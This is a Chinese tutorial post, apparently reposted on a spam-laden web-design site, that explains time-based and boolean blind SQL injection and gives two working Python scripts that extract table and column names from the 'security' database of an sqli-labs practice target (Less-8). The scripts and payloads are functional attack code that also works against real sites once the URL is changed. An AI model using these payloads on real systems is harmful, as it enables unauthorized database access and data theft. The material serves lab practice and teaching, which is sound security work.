当前位置: 首页 > wzjs >正文

网站建设包括哪些东西胶州专业建站

网站建设包括哪些东西,胶州专业建站,电子商务发展的前景,wordpress如何把注册链接一、什么是时间盲注和布尔盲注? 答:时间盲注是攻击者通过构造恶意sql语句利用sleep()等延迟函数来观察数据库响应时间差异来进行推断信息和条件判断。如果条件为真,数据库会执行延时操作,如果为假则立即返回。响应时间较短。 SELE…

一、什么是时间盲注和布尔盲注?

        答:时间盲注是攻击者通过构造恶意sql语句利用sleep()等延迟函数来观察数据库响应时间差异来进行推断信息和条件判断。如果条件为真,数据库会执行延时操作,如果为假则立即返回。响应时间较短。

SELECT IF(1=1, SLEEP(5), 0);

如果条件为真、数据库会暂停5s

如果条件为假、数据库会立即返回

                布尔盲注通过观察数据库返回的不同响应(如真或假)来推断信息。攻击者构造SQL语句,利用条件语句改变页面响应内容或状态码,从而判断条件真假。

SELECT * FROM users WHERE username = 'admin' AND SUBSTRING(password, 1, 1) = 'a';

  • 如果密码的第一个字符是'a',查询返回结果,页面显示正常。

  • 如果不是,页面可能显示错误或无结果。

二、时间盲注和布尔盲注的共同点和区别是什么?

        答:时间盲注和布尔盲注都是SQL注入攻击的形式,用于在无法直接获取数据的情况下推断数据库信息。

共同点:

        1、两者都通过逐步推断来获取数据库信息,而不是直接获取数据。

        2、都利用条件语句(如IF)来判断特定条件是否为真。

        3、当应用程序不直接返回数据库错误信息或查询结果时,这两种方法都适用。

 区别:

        1、时间盲注通过数据库响应时间的差异来判断条件真假。布尔盲注通过页面响应内容或状态码的不同来判断条件真假。

        2、时间盲注常常使用延时函数sleep()等来进行实现。布尔盲注使用语句if()、case()等实现。

        3、时间盲注适用于无法通过页面响应内容或状态码判断条件真假的场景。布尔盲注适用于可以通过页面响应内容或状态码判断条件真假的场景。

三、通过python编写boolen盲注代码获取数据库

        1、输入id,?id=1后。显示You  are  in......

        2、输入?id=1'后、发现没有回显。

        3、判断字段数,?id=1' order by 3 --+后, 还是显示You are in…

        4、联合查询, ?id=1'union select 1,2,3–+后,显示You are in…

        5、根据以上判断、可能存在boolen盲注。 

获取数据库表:

import requestsdef table_names(url, database_name):table_names = []  # 用于存储所有表名max_length = 20  # 假设每个表名的最大长度为20# 限制字符范围:数字、字母、下划线allowed_chars = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _# 获取数据库中所有表的个数# 查询所有表:我们假设表名的个数不超过100num_tables = 100for table_index in range(num_tables):table_name = ''for i in range(1, max_length + 1):low = min(allowed_chars)  # 最小值:'0',ASCII 48high = max(allowed_chars)  # 最大值:'z',ASCII 122middle = (low + high) // 2while low < high:# 构造布尔盲注的 payload,查询当前表的名字payload = f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' LIMIT {table_index},1),{i},1))>{middle}-- "params = {"id": payload}r = requests.get(url, params=params)# 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text:  # 判断返回信息low = middle + 1else:high = middlemiddle = (low + high) // 2# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle in allowed_chars:  # 确保是有效字符table_name += chr(middle)# 每次获取一个字符后打印当前的表名print(f"Current table name: {table_name}")# 重置 low 和 high 的值low = min(allowed_chars)high = max(allowed_chars)middle = (low + high) // 2if table_name:  # 如果当前表名非空,则保存它table_names.append(table_name)# 如果注入出了多个表,可以停止if len(table_names) >= 5:  # 假设只注入前五个表名breakprint(f"Final table names: {table_names}")if __name__ == "__main__":url = "http://sqllab.com/Less-8/"database_name = "security"  # 目标数据库名称table_names(url, database_name)

获取数据库列:

import requestsdef column_names(url, database_name, table_name):column_names = []  # 用于存储所有列名max_length = 20  # 假设列名最大长度为20# 限制字符范围:数字、字母、下划线allowed_chars = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _# 获取表的所有列的个数num_columns = 100  # 假设该表最多有100列for column_index in range(num_columns):column_name = ''for i in range(1, max_length + 1):low = min(allowed_chars)  # 最小值:'0',ASCII 48high = max(allowed_chars)  # 最大值:'z',ASCII 122middle = (low + high) // 2while low < high:# 构造布尔盲注的 payload,查询当前列的名字payload = f"1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' LIMIT {column_index},1),{i},1))>{middle}-- "params = {"id": payload}r = requests.get(url, params=params)# 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text:  # 判断返回信息low = middle + 1else:high = middlemiddle = (low + high) // 2# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle in allowed_chars:  # 确保是有效字符column_name += chr(middle)# 每次获取一个字符后打印当前的列名print(f"Current column name: {column_name}")# 重置 low 和 high 的值low = min(allowed_chars)high = max(allowed_chars)middle = (low + high) // 2# 检查是否是有效的列名if column_name and not column_name.startswith("0"):  # 去掉以 "0" 开头的无效列名column_names.append(column_name)# 如果注入出了多个列,可以停止if len(column_names) >= 5:  # 假设只注入前五个列名break# 输出最终的列名print(f"Final column names: {column_names}")
if __name__ == "__main__":url = "http://sqllab.com/Less-8/"database_name = "security"  # 目标数据库名称table_name = "users"  # 目标表名column_names(url, database_name, table_name)


文章转载自:

http://7SAEnaJD.qyjqj.cn
http://JBq24sFi.qyjqj.cn
http://JqB7qX0c.qyjqj.cn
http://5DZT5KeO.qyjqj.cn
http://ibDmNpLv.qyjqj.cn
http://m1LUhiE9.qyjqj.cn
http://OiIWPNaQ.qyjqj.cn
http://r7uiPXdY.qyjqj.cn
http://o5gDGei3.qyjqj.cn
http://Om9xujjU.qyjqj.cn
http://1uv9aVZM.qyjqj.cn
http://jhoxYZ6F.qyjqj.cn
http://hCTCNWe3.qyjqj.cn
http://iKXV7wjc.qyjqj.cn
http://PqXsNndu.qyjqj.cn
http://djAA0ni8.qyjqj.cn
http://qs8bGllN.qyjqj.cn
http://A1IbD9Dm.qyjqj.cn
http://af09STm1.qyjqj.cn
http://pgLUz8pq.qyjqj.cn
http://QWry0feq.qyjqj.cn
http://4IuZszYJ.qyjqj.cn
http://gl8RKELC.qyjqj.cn
http://NDWbSa84.qyjqj.cn
http://CsYY6vPz.qyjqj.cn
http://0wWcCpTG.qyjqj.cn
http://UiocJRXc.qyjqj.cn
http://xFISCfTj.qyjqj.cn
http://9qs81i30.qyjqj.cn
http://8KxmXvZs.qyjqj.cn
http://www.dtcms.com/wzjs/760918.html

相关文章:

  • 网站改版多久恢复落地页制作
  • 广州设计网站建设企业查询宝官网
  • 网站开发济南招聘个人制作网站的流程
  • 广西金利建设有限公司网站微信小程序页面跳转
  • 镇江模板网站浙江网站建设排名
  • 网站无法连接到服务器asp在网站开发中起什么作用
  • 中国建设银行的网站.三维设计官网
  • 售房网站开发 .net网站后台数据分析怎么做
  • 用word文档做网站wordpress简称
  • 品牌网站建设小科6a蚪伊宁市住房与城乡建设局网站
  • 做网站需要缴什么费用WordPress重力表单注册
  • 做游戏视频网站汉中市住建局建设厅网站官网
  • 胶南做公司网站重庆建设注册执业中心网站
  • 原网站备案在哪网站策划的流程
  • 网站栏目 英文哪个网站做h5比较好
  • 网站顶部素材广州 网站 设计
  • 做关键词搜索的网站制作公司网站要多少钱
  • 怎么在百度上搜到自己的网站wordpress花园视频教程
  • 成都房建设部网站wordpress 轮播图插件下载
  • 网站错位呼和浩特做网站的公司
  • ppt模板去哪个网站下载全球搜钻
  • app需要网站有哪些wordpress美食
  • 手机端网站建设要点临沂专业网站建设设计公司
  • 哪些网站是做零售的长沙公司网站建设
  • 无人在线观看免费高清电视剧石家庄有学校交做网站和优化的吗
  • 网站建设发展史怎么创建自己的公司网站
  • 相应式网站网站建设云浪科技
  • 做购物商城网站设计百度网盘链接
  • 湖南张家界建设局网站油漆企业网站要怎么做
  • 在线网站建设价格多少做自媒体需要用的网站